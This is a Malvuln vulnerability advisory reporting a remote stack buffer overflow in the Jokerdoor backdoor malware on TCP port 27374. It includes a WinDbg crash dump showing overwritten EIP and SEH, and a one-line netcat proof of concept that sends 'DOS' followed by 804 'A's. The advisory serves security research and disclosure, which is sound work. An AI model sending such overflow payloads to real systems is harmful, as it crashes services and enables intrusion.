Backdoor.Win32.Jokerdoor MVID-2022-0628 Buffer Overflow

Discovery / credits: Malvuln (John Page aka hyp3rlinx) © 2022
Original source: https://malvuln.com/advisory/783a191e7944e1af84ec0fa96d933f30.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Jokerdoor
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 27374. Attackers who can reach an infected system can send a large payload and trigger a classic stack buffer overflow overwriting the ECX, EIP registers and structured exception handler (SEH). When connecting you will get a “connected” server response, then we supply our payload as a parameter prefixed by "DOS".
Family: Jokerdoor
Type: PE32
MD5: 783a191e7944e1af84ec0fa96d933f30
Vuln ID: MVID-2022-0628
Dropped files: ywwqlwntubs.exe (random names)
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 08/03/2022

Memory Dump:
(21f0.2268): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1600 ebp=000a1620 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???

0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1600 ebp=000a1620 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???

0:000> !analyze -v

---

•                                                                         *  
  

•                    Exception Analysis                                   *  
  

•                                                                         *  
  

---

*** WARNING: Unable to verify checksum for ywwqlwntubs.exe
*** ERROR: Module load completed but symbols could not be loaded for ywwqlwntubs.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
+26
41414141 ?? ???

EXCEPTION_RECORD: 0019ee34 – (.exr 0x19ee34)
ExceptionAddress: 41414141
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME: ywwqlwntubs.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000008

EXCEPTION_PARAMETER2: 41414141

WRITE_ADDRESS: 41414141

FOLLOWUP_IP:
+26
41414141 ?? ???

FAILED_INSTRUCTION_ADDRESS:
+26
41414141 ?? ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build’s rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT: 0019ee84 – (.cxr 0x19ee84)
eax=00010000 ebx=04223c0c ecx=749feb0d edx=00000000 esi=010b0844 edi=02860d24
eip=41414141 esp=0019f2e4 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
41414141 ?? ???
Resetting default scope

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 41414141 to 41414141

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE

PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_STACKIMMUNE

DEFAULT_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE

FRAME_ONE_INVALID: 1

STACK_TEXT:
00000000 00000000 ywwqlwntubs.exe+0x0

STACK_COMMAND: .cxr 000000000019EE84 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME: ywwqlwntubs.exe

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: ywwqlwntubs

IMAGE_NAME: ywwqlwntubs.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19

FAILURE_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE_c0000005_ywwqlwntubs.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_ywwqlwntubs.exe

0:000> !exchain
000a1614: ntdll!ExecuteHandler2+44 (77729d70)
…
0019f2e4: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
C:>python -c "print('DOS’+’A’*804)" | nc64.exe x.x.x.x 27374
connected. 22:22 - August 1, 2022, Monday, ver: Legends 2.1

Disclaimer: The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright © Malvuln.com ™.